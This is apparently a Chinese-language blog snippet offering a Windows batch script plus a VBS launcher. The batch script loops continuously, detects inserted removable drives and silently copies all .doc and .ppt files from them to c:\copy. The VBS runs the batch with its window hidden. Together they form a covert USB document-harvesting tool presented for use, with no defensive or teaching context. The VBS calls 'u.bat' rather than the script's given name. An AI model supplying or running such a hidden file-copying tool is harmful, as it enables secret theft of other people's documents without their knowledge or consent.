检测到插入U盘即复制其中doc、ppt文件到指定目录

(ucopy.bat):

@echo off
:again
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp" 
if errorlevel==1 goto end
if errorlevel==0 goto copy 
:end 
echo 不存在
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy  
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
for /f "tokens=*" %%j in ('dir/s/b %%i\*.ppt %%i\*.doc?') do (
copy %%j c:\copy /y))
ping 127.0.0.1 -n 20 >nul 2>nul
goto again

隐藏bat进程

(ucopy.vbs)

set ws=WScript.CreateObject("WScript.Shell") 
ws.Run "u.bat",0

执行ucopy.vbs

相关文章:

  • 2021-12-02
  • 2021-06-10
  • 2021-07-04
  • 2022-01-12
  • 2021-08-09
  • 2021-08-14
  • 2022-12-23
猜你喜欢
  • 2021-11-19
  • 2021-10-19
  • 2021-10-12
  • 2021-07-28
  • 2021-12-14
  • 2022-12-23
  • 2021-10-28
相关资源
相似解决方案